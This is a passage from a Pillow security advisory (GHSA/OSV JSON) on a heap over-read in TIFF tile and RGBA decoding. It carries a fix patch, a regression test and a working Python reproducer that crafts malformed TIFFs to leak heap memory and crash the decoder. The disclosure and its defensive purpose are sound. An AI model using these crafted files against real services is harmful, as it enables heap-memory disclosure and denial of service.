bt = subprocess.run(["gdb", "-batch", "-ex", "run", "-ex", "bt 4", "--args", sys.executable, "-c", LOAD,
f"{W}/tile_big.tif"], capture_output=True, text=True).stdout
print("\n".join(l for l in bt.splitlines() if l.startswith("#")))
shutil.rmtree(W)
print(f"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}")
print("BUG" if leak or crash else "OK")
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "8.1.0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112404"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-126"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T20:42:00Z",
"nvd_published_at": "2026-10-19T22:17:07Z",
"severity": "HIGH"
},
"details": "```\n============================================================================\nOOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels\nLocation: src/libImaging/TiffDecode.c:483 in _decodeTile()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process\u0027s heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.\n\nThe bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff\u0027s view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow\u0027s own parse of the directory, and neither checks that the unpacker\u0027s input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it.\n\nThe two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.\n\nThe tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).\n\nThe attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc\u0027s malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` \u2190 `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer.\n\n## Details\n\n`_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state-\u003ebuffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow\u0027s *own* parse of the IFD. Nothing in either function checks that the unpacker\u0027s input row (`width * state-\u003ebits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout \u2014 a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) \u2014 the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff\u0027s actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, \u2026); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.\n\nThe ~400-byte TIFF `tile_count2.tif` generated by the reproducer \u2014 one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) \u2014 is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13\u201315 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0\u201312 and different bytes in rows 13\u201315 (`aa` vs `55`, i.e. glibc\u0027s fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 \u2190 _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).\n\n### Why the two parsers disagree\n\nlibtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for \"PhotometricInterpretation\"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, \u2026)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`.\n\nPillow keeps the first value and carries on:\n\n```python\n# src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load())\n try:\n (dest[tag],) = values\n except ValueError:\n # We\u0027ve got a builtin tag with 1 expected entry\n warnings.warn(f\"Metadata Warning, tag {tag} had too many entries: ...\")\n dest[tag] = values[0]\n```\n\nso `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `(\"L\", \"L\")`, and because the file is compressed the libtiff branch then overrides the rawmode:\n\n```python\n# src/PIL/TiffImagePlugin.py:1578, 1600-1607\n self.use_load_libtiff = READ_LIBTIFF or self._compression != \"raw\"\n \u2026\n if photo == 6:\n self._mode = \"RGB\"\n if self._compression in \"jpeg\" and self._planar_configuration == 1:\n rawmode = \"RGB\"\n else:\n rawmode = \"RGBX\"\n```\n\n`RGBX` is a 32-bit rawmode, so `get_unpacker()` (`src/decode.c:301-309`) sets `state-\u003ebits = 32` and `state-\u003eshuffle = copy4`. The intent of the `photo == 6` override is that libtiff will deliver RGBA through `TIFFRGBAImage`, but that decision is made in C from *libtiff\u0027s* reading of the tag, which here is \"not YCbCr\":\n\n```c\n// src/libImaging/TiffDecode.c:737-764\n TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, \u0026photometric); // unset -\u003e stays 0\n \u2026\n readAsRGBA = photometric == PHOTOMETRIC_YCBCR; // 0\n \u2026\n if (TIFFIsTiled(tiff)) {\n _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4\n```\n\n### The missing check\n\n`_decodeTile()` only guards against libtiff\u0027s tile being *larger* than what the unpacker expects, then allocates exactly `TIFFTileSize()` bytes and feeds `row_byte_size`-strided rows to the shuffler:\n\n```c\n// src/libImaging/TiffDecode.c:403-487 (_decodeTile)\n tile_bytes_size = TIFFTileSize(tiff); // 256\n \u2026\n row_byte_size = TIFFTileRowSize(tiff); // 16\n \u2026\n if (tile_bytes_size \u003e ((tile_length * state-\u003ebits / planes + 7) / 8) * tile_width) {\n // 256 \u003e 1024 is false -\u003e no abort\n \u2026\n }\n state-\u003ebytes = tile_bytes_size;\n new_data = realloc(state-\u003ebuffer, state-\u003ebytes); // 256-byte buffer (line 448)\n \u2026\n for (tile_y = 0; tile_y \u003c current_tile_length; tile_y++) {\n shuffler( // copy4: reads current_tile_width*4 = 64 bytes\n (UINT8 *)im-\u003eimage[tile_y + y] + x * im-\u003epixelsize,\n state-\u003ebuffer + tile_y * row_byte_size, // from offset 16*tile_y\n current_tile_width\n );\n```\n\nRow `tile_y` is read from `[16\u00b7tile_y, 16\u00b7tile_y + 64)`; for `tile_y` = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to `(state-\u003ebits / libtiff_bits_per_pixel \u2212 1) \u00d7 row_byte_size` bytes, and `row_byte_size` scales with the attacker-chosen `TileWidth`.\n\nNote also that the existing one-sided check at line 434 multiplies the file-controlled `tile_width`/`tile_length` (`UINT32`, accepted up to `INT_MAX` at line 428) by `state-\u003ebits` in 32-bit unsigned arithmetic, so `tile_width * state-\u003ebits` wraps for `tile_width \u2265 2^32 / bits` (2^26 for the 64-bit rawmodes, 2^27 for `RGBX`/`I;32`/`F;32F`). An 8 KB file declaring a 2,097,152\u00d71 image with `TILEWIDTH = 2^26+16`, `TILELENGTH = 1`, 1-bit data for libtiff and `RGBA;16N` for Pillow makes libtiff allocate an ~8 MB tile from which `unpackRGBA16L` reads 16 MB, and the stock build SIGSEGVs in `unpackRGBA16L \u2190 _decodeTile (TiffDecode.c:483)`; a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.\n\nCompare the strip path, which refuses this situation (added for OSS-Fuzz `crash-0da0` in 8.2.0):\n\n```c\n// src/libImaging/TiffDecode.c:528-548 (_decodeStrip)\n unpacker_row_byte_size = (state-\u003exsize * state-\u003ebits / planes + 7) / 8;\n \u2026\n row_byte_size = TIFFScanlineSize(tiff);\n // if the unpacker calculated row size is \u003e row byte size, (at least) the last\n // row of the strip will have a read buffer overflow.\n if (row_byte_size == 0 || unpacker_row_byte_size \u003e row_byte_size) {\n state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n return -1;\n }\n```\n\nThe identical file written with one strip instead of one tile fails `load()` with `OSError: decoder error -2` because of this check.\n\n### Same gap in `_decodeAsRGBA()`\n\n`_decodeAsRGBA()` always produces `img.width * 4` bytes per row (`TiffDecode.c:325`, buffer allocated at line 339) and unpacks with `state-\u003eshuffle` (line 373) without looking at `state-\u003ebits`. It is reached when *libtiff* sees YCbCr while Pillow does not force `RGBX`. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow\u0027s `ImageFileDirectory_v2.load()` overwrites (`TiffImagePlugin.py:945`, last wins). The reproducer\u0027s `ycbcr_dup.tif` is a 16x16 Deflate strip with `PhotometricInterpretation` present twice (`6`, then `2`) and `BitsPerSample` twice (`8,8,8`, then `16,16,16`): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects `RGB;16N` (`state-\u003ebits = 48`), and `unpackRGB16L` reads 96 bytes per 64-byte row \u2014 ASan reports `heap-buffer-overflow` in `unpackRGB16L` (`Unpack.c:609`) from `TiffDecode.c:373`, past the 1024-byte region from `TiffDecode.c:339`.\n\nThe count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample `photo == 6` file only gets rawmode `RGBX` since the unreleased commit 155330d63 (\"Do not open YCbCr colorspace images as RGB without libtiff (#9779)\", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two `PhotometricInterpretation` entries (`1` or `2`, then `6`) produces the same `copy4` \u2190 `_decodeTile` over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps `6` and unpacks 4 (the reproducer\u0027s `tile_dup.tif`). `ycbcr_dup.tif` above reaches `_decodeAsRGBA()` the same way.\n\n## Impact\n\nAny application that calls `Image.open()` + `load()` (or `thumbnail()`, `convert()`, `save()`, \u2026) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and `TiffDecode.c` without `READ_LIBTIFF` being set. The over-read bytes are copied into the image\u0027s pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included \u2014 up to three libtiff tile rows past the buffer for the `RGBX`-over-8-bit case, with the tile row length (`TileWidth`) chosen by the attacker. `state-\u003ebuffer` is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about `(unpacker_bpp / libtiff_bpp \u2212 1)` tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized `Imaging` rows, so this is disclosure / crash, not memory corruption.\n\nThis is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in `TiffDecode.c`); that fix and the later `crash-0da0` fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow\u0027s rawmode over libtiff\u0027s row size. The tile-path gap was introduced in 1c295bf43c3a (\"Check for dimensions and sizes to fit into int\", 2021-01-25), which switched `_decodeTile()` from a buffer sized by Pillow\u0027s unpacker to `TIFFTileSize()`/`TIFFTileRowSize()`; it is first in Pillow 8.2.0. The `_decodeAsRGBA()` half dates from eb8c1206d6b1 (\"Fix CVE-2020-35654 - OOB Write in TiffDecode.c\"), first in 8.1.0.\n\n## Reproducing\n\nRun `repro` (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.\n\nThe script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and `TiffDecode.c`. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:\n\n- **`tile_count2.tif`**: a 16x16, 1-sample, 8-bit tile with `PhotometricInterpretation` written as SHORT count 2, `(6, 6)`. Pillow keeps `6` and unpacks with `copy4` (`RGBX`, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased).\n- **`tile_dup.tif`**: a 16x16, 3-sample, 8-bit tile with `PhotometricInterpretation` present twice, `2` then `6`. libtiff keeps `2` (RGB, 3 bytes per pixel) and Pillow keeps `6` (`RGBX`, 4 bytes per pixel). This variant also applies to released versions.\n- **`ycbcr_dup.tif`**: the 16x16 strip with `BitsPerSample` `8,8,8` then `16,16,16` and `PhotometricInterpretation` `6` then `2`. libtiff decodes 8-bit YCbCr through `_decodeAsRGBA()` (4 bytes per pixel), and Pillow unpacks `RGB;16N` with `unpackRGB16L` (6 bytes per pixel).\n- **`tile_big.tif`**: the `tile_count2.tif` layout with a single 65536x16 tile.\n\nFor each of the first three files, the script runs `Image.open()` + `load()` + `tobytes()` twice, once with `MALLOC_PERTURB_=85` and once with `=170`. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the `aa`/`55` fill bytes show up, along with heap pointer bytes. The script then decodes `tile_big.tif` and checks for a SIGSEGV (exit status -11). If `gdb` is available, it prints the top frames: `copy4` (`Unpack.c:1290`) \u2190 `_decodeTile` (`TiffDecode.c:483`) \u2190 `ImagingLibTiffDecode`. This crash depends on ASLR, so an occasional run may survive.\n\nEach step prints which `_imaging` build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is `BUG` if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is `OK`.\n\n## Suggested fix\n\nThe attached patch restores the `_decodeStrip()` invariant (the unpacker\u0027s input row must fit inside libtiff\u0027s row) in the two sibling decoders in `src/libImaging/TiffDecode.c`, at the point where each one sizes its buffer:\n\n- `_decodeTile()` computes `unpacker_row_byte_size = ((tsize_t)tile_width * state-\u003ebits / planes + 7) / 8` (the `tsize_t` cast keeps the product out of 32-bit arithmetic, so the `TILEWIDTH = 2^26+16` case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing `TIFFTileSize()` sanity check, as `_decodeStrip()` does for strips. After that check and before the `realloc`, it fails with `IMAGING_CODEC_BROKEN` when `unpacker_row_byte_size \u003e row_byte_size` (`TIFFTileRowSize()`).\n- `_decodeAsRGBA()` fails with `IMAGING_CODEC_BROKEN` when `state-\u003ebits \u003e 32`, because `TIFFRGBAImage` rows are always 32 bits per pixel. This check runs before `TIFFRGBAImageBegin()` and any allocation.\n\nWith the patch, the tile and RGBA files fail `load()` with `OSError: decoder error -2`, the same result the equivalent strip file already gets. The patch also adds a regression test to `Tests/test_file_libtiff.py` (`test_unpacker_row_wider_than_libtiff_row`). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file\u0027s existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and `Tests/test_file_tiff.py`, `Tests/test_file_libtiff.py` and `Tests/test_tiff_crashes.py` pass.\n\nThese checks close the over-read however the two parsers are made to disagree. Separately, `_setup()` could stop deriving the libtiff rawmode from tags that libtiff will read differently \u2014 e.g. treat a `PhotometricInterpretation`/`BitsPerSample`/`Compression` that is not a single well-typed value as \"unknown pixel mode\", the way `ImageWidth`/`ImageLength` are already required to be `int` at `TiffImagePlugin.py:1473`, or have `ImageFileDirectory_v2.load()` keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) \u2014 but that only narrows the ways to reach the C-side gap rather than removing it: `TiffImagePlugin` cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read.\n\n## The patch\n\nReject TIFFs whose unpacker row is wider than libtiff\u0027s decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does\n\nApplies to `src/libImaging/TiffDecode.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..c08dfe77c 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase):\n with pytest.raises(OSError, match=\"decoder error -9\"):\n im.load()\n \n+ @pytest.mark.parametrize(\n+ \"data\",\n+ (\n+ # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that\n+ # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel)\n+ # while libtiff ignores it and decodes 1 byte/pixel.\n+ (\n+ b\"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA\"\n+ b\"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA\"\n+ b\"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4\"\n+ b\"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm\"\n+ b\"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT\"\n+ b\"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A\"\n+ b\"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt\"\n+ b\"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna\"\n+ b\"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=\"\n+ ),\n+ # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation\n+ # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA)\n+ # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel).\n+ (\n+ b\"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA\"\n+ b\"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA\"\n+ b\"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB\"\n+ b\"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS\"\n+ b\"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3\"\n+ b\"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J\"\n+ b\"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x\"\n+ b\"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w\"\n+ b\"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x\"\n+ b\"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA\"\n+ b\"EAAQAA==\"\n+ ),\n+ ),\n+ )\n+ @pytest.mark.filterwarnings(\"ignore:Metadata Warning\")\n+ def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -\u003e None:\n+ # The unpacker chosen by Pillow reads more bytes per row than libtiff\n+ # decoded, so the decoder must reject the image rather than read past\n+ # the end of its buffer\n+ with Image.open(io.BytesIO(base64.b64decode(data))) as im:\n+ with pytest.raises(OSError, match=\"decoder error -2\"):\n+ im.load()\n+\n @pytest.mark.parametrize(\"compression\", (\"tiff_adobe_deflate\", \"jpeg\"))\n def test_save_multistrip(self, compression: str, tmp_path: Path) -\u003e None:\n im = hopper(\"RGB\").resize((256, 256))\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..2ee6c5f0a 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) {\n \n TRACE((\"RowsPerBlock: %u \\n\", rows_per_block));\n \n+ // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel\n+ // than that, (at least) the last row of the block will have a read buffer\n+ // overflow.\n+ if (state-\u003ebits \u003e 32) {\n+ TRACE((\"Decode Error, unpacker bits %d \u003e 32\\n\", state-\u003ebits));\n+ state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n+ return -1;\n+ }\n+\n if (!(TIFFRGBAImageOK(tiff, emsg) \u0026\u0026 TIFFRGBAImageBegin(\u0026img, tiff, 0, emsg))) {\n TRACE((\"Decode error, msg: %s\", emsg));\n state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n@@ -397,7 +406,7 @@ _decodeTile(\n ) {\n INT32 x, y, tile_y, current_tile_length, current_tile_width;\n UINT32 tile_width, tile_length;\n- tsize_t tile_bytes_size, row_byte_size;\n+ tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size;\n UINT8 *new_data;\n \n tile_bytes_size = TIFFTileSize(tiff);\n@@ -431,7 +440,8 @@ _decodeTile(\n return -1;\n }\n \n- if (tile_bytes_size \u003e ((tile_length * state-\u003ebits / planes + 7) / 8) * tile_width) {\n+ unpacker_row_byte_size = ((tsize_t)tile_width * state-\u003ebits / planes + 7) / 8;\n+ if (tile_bytes_size \u003e (unpacker_row_byte_size * tile_length)) {\n // If the tile size as expected by LibTiff isn\u0027t what we\u0027re expecting, abort.\n // man: TIFFTileSize returns the equivalent size for a tile of data as it\n // would be returned in a call to TIFFReadTile ...\n@@ -439,6 +449,13 @@ _decodeTile(\n return -1;\n }\n \n+ // if the unpacker calculated row size is \u003e row byte size, (at least) the last\n+ // row of the tile will have a read buffer overflow.\n+ if (unpacker_row_byte_size \u003e row_byte_size) {\n+ state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n+ return -1;\n+ }\n+\n state-\u003ebytes = tile_bytes_size;\n \n TRACE((\"TIFFTileSize: %d\\n\", state-\u003ebytes));\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 4,178 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build,\n# no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the\n# decode buffer from its parse; when they disagree the unpacker reads past state-\u003ebuffer and the\n# bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc\u0027s\n# MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile\n# SIGSEGVs in copy4 \u003c- _decodeTile. Runs in a few seconds.\nimport os, shutil, struct, subprocess, sys, tempfile, zlib\n\nW = tempfile.mkdtemp(); S, L = 3, 4\n\ndef tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order\n data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data)\n ifd, extra = struct.pack(\"\u003cH\", len(entries)), b\"\"\n for tag, typ, vals in entries:\n if vals is None: typ, vals = L, [data_off]\n raw = b\"\".join(struct.pack(\"\u003cH\" if typ == S else \"\u003cL\", v) for v in vals)\n if len(raw) \u003e 4: raw, extra = struct.pack(\"\u003cL\", extra_off + len(extra)), extra + raw\n ifd += struct.pack(\"\u003cHHL\", tag, typ, len(vals)) + raw.ljust(4, b\"\\0\")\n return b\"II*\\0\" + struct.pack(\"\u003cL\", 8) + ifd + b\"\\0\" * 4 + data + extra\n\ndef tile(w, h, spp, photo): # one deflate tile, 8 bit/sample\n d = zlib.compress(bytes(i % 251 for i in range(w * h * spp)))\n return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] * spp), (259, S, [8])] + photo +\n [(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d)\n\nd = zlib.compress(bytes(range(256)) * 3)\nfiles = {\n # Photometric count 2 (6,6): libtiff ignores tag -\u003e 1 B/px; Pillow keeps 6 -\u003e RGBX copy4 4 B/px (HEAD only)\n \"tile_count2.tif\": tile(16, 16, 1, [(262, S, [6, 6])]),\n # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions)\n \"tile_dup.tif\": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]),\n # strip, libtiff sees 8-bit YCbCr -\u003e _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -\u003e 6 B/px\n \"ycbcr_dup.tif\": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]),\n (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]),\n (530, S, [1, 1])], d),\n \"tile_big.tif\": tile(65536, 16, 1, [(262, S, [6, 6])]),\n}\nfor n, b in files.items():\n open(f\"{W}/{n}\", \"wb\").write(b)\n\nLOAD = r\"\"\"\nimport sys, warnings; warnings.simplefilter(\"ignore\")\nfrom PIL import Image\nim = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr)\nim.load(); sys.stdout.write(im.tobytes().hex())\n\"\"\"\ndef run(name, perturb):\n p = subprocess.run([sys.executable, \"-c\", LOAD, f\"{W}/{name}\"], capture_output=True, text=True,\n env=dict(os.environ, MALLOC_PERTURB_=str(perturb)))\n return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [\"\"]\n\nleak = False\nfor n in (\"tile_count2.tif\", \"tile_dup.tif\", \"ycbcr_dup.tif\"):\n r1, a, info = run(n, 85); r2, b, _ = run(n, 170)\n print(f\"== {n}: {info[0]} rc={r1},{r2}\")\n if r1 == 0 and r2 == 0 and a != b:\n i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2])\n print(f\" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:\")\n print(f\" PERTURB=85 : ...{a[i-8:i+40]}\\n PERTURB=170: ...{b[i-8:i+40]}\")\n leak = True\n else:\n print(\" identical output / error -\u003e no leak observed\")\n\nrc, _, info = run(\"tile_big.tif\", 0)\nprint(f\"== tile_big.tif: {info[0]} rc={rc}\" + (\" (SIGSEGV)\" if rc == -11 else \"\"))\ncrash = rc == -11\nif crash and shutil.which(\"gdb\"):\n bt = subprocess.run([\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 4\", \"--args\", sys.executable, \"-c\", LOAD,\n f\"{W}/tile_big.tif\"], capture_output=True, text=True).stdout\n print(\"\\n\".join(l for l in bt.splitlines() if l.startswith(\"#\")))\nshutil.rmtree(W)\nprint(f\"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}\")\nprint(\"BUG\" if leak or crash else \"OK\")\n```\n\u003c/details\u003e\n\n---",
"id": "GHSA-c6hw-5grf-ff96",
"modified": "2026-10-20T20:42:00Z",
"published": "2026-10-20T20:42:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112404"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels"
}
OPENSUSE-SU-2026:12230-1
Vulnerability from csaf_opensuse - Published: 2026-10-22 00:00 - Updated: 2026-10-23 09:44UBUNTU-CVE-2026-112404 (CVE-2026-112404)
